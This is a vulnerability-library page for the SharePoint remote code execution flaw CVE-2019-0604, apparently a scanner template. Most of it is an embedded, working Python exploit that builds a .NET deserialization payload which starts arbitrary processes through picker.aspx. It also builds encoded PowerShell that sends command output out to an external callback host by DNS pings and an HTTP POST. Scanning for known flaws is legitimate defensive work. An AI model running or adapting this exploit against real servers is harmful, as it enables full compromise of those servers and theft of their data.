/Vulnerability Library

Microsoft SharePoint - Remote Code Execution

CVE-2019-0604
Verified

Description

Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.

Severity

Critical

CVSS Score

9.8

Exploit Probability

94%

Affected Product

sharepoint

Published Date

June 19, 2025

Template Author

tree-chtsec, pszyszkowski

CVE-2019-0604.yaml
id: CVE-2019-0604

info:
  name: Microsoft SharePoint - Remote Code Execution
  author: tree-chtsec,pszyszkowski
  severity: critical
  description: |
    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Fixed in security update published Feb 12, 2019
  reference:
    - https://github.com/Gh0st0ne/weaponized-0604
    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
    - https://nvd.nist.gov/vuln/detail/cve-2019-0604
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
    epss-score: 0.94441
    epss-percentile: 0.9999
  metadata:
    verified: true
    vendor: microsoft
    product: sharepoint
    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln

variables:
  OAST: "{{interactsh-url}}"
  marker: "{{randbase(5)}}"

code:
  - engine:
      - py
      - python3 #pip install lxml{required}

    source: |
      import os
      import sys
      import base64
      import argparse
      from copy import deepcopy
      import urllib3
      import requests
      import lxml.html
      import codecs
      from xml.sax.saxutils import escape
      urllib3.disable_warnings()
      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
      part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
      part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
      content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
      paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
      host = os.getenv('RootURL')
      domain = os.getenv('OAST')
      user = os.getenv('username')
      pswd = os.getenv('password')
      def html_escape(s):
          _ = escape(s)
          _ = _.replace('"', '&quot;')
          return _
      def _0604(cmd):
          if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
              _bin, _arg = cmd.split(' ', 1)
          else:
              _bin = 'cmd'
              _arg = '/c ' + cmd
          payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
          o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
          return '__bp' + format(len(o), 'x')[::-1] + o
      def main():
          auth = ''
          cmd = 'echo ' + os.getenv('marker')
          if (user != None) and (pswd != None):
              auth = user + ':' + pswd
              ntlm = True
          else:
              ntlm = False
          if host is None:
              print("missing target. You must specify -u <url>")
              exit(1)
          if domain is not None:
              print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
              __var_raw = '$a'
              __var_hex = '$b'
              __dns_code = '''
      $bl = %(v_hex)s.length;$l = 60;$i = 0;
      while($i -lt $bl) {
      $l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
      $v = %(v_hex)s.substring($i, $l);
      ping -n 1 "$i.$v.%(domain)s";
      $i += $l; }
              '''.strip() % dict(domain=domain, v_hex=__var_hex)
              __post_code = '''
      iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
              '''.strip() % dict(domain=domain, v_raw=__var_raw)
              __code = '''
      %(v_raw)s = %(cmd)s;
      $Encode = new-object "System.Text.UTF8Encoding";
      $bytearray = $Encode.GetBytes(%(v_raw)s);
      %(v_hex)s = "";
      Foreach ($i in $bytearray) {
        %(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
      }
              '''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
              __code += __dns_code
              __code = base64.b64encode(__code.encode('UTF-16LE')).decode()
              cmd = 'powershell -ep bypass -enc %s' % (__code)
              print(cmd)
          if ntlm:
              from requests_ntlm import HttpNtlmAuth
              _auth = HttpNtlmAuth(*auth.split(':', 1))
          else:
              _auth = None
          _headers = {'User-Agent': default_ua}
          req_kwargs = {
              'headers': _headers,
              'auth': _auth,
              'verify': False
          }
          def auto_sp_attack(kwargs):
              for item in paths:
                  url = os.getenv('RootURL') + item
                  # get sharepoint version (2019,2016 / 2013 / 2010)
                  res = requests.get(url, **kwargs)
                  spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
                  kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
                  # get viewstate & ev from picker.aspx
                  if res.status_code != 200:
                      print('%s failed [%s]' % (item, res.status_code))
                      continue
                  else:
                      break
              rt = lxml.html.fromstring(res.content)
              spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
              kwargs['data'] = {
                  '__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
                  '__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
              }
              payload = _0604(cmd)
              kwargs['data'][spandata] = payload
              return requests.post(url, **kwargs)
          attack_fn = auto_sp_attack
          res = attack_fn(deepcopy(req_kwargs))
          if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
            print('%s succeded (%s)' % (res.url, res.status_code))
      if __name__ == '__main__':
          main()

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
# digest: 4b0a00483046022100e9cff44c33b77ca4282a1922a0c3556aa15a0ee24041f46b83d9fc77ade48555022100f2e0a5ca9318aa6d8eba3a3af7f02305b42cf243e425c5b27f9d6b9e6768b5a0:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2019-0604
CWE ID:
cwe-20

References

https://github.com/Gh0st0ne/weaponized-0604https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604https://nvd.nist.gov/vuln/detail/cve-2019-0604

Remediation Steps

Fixed in security update published Feb 12, 2019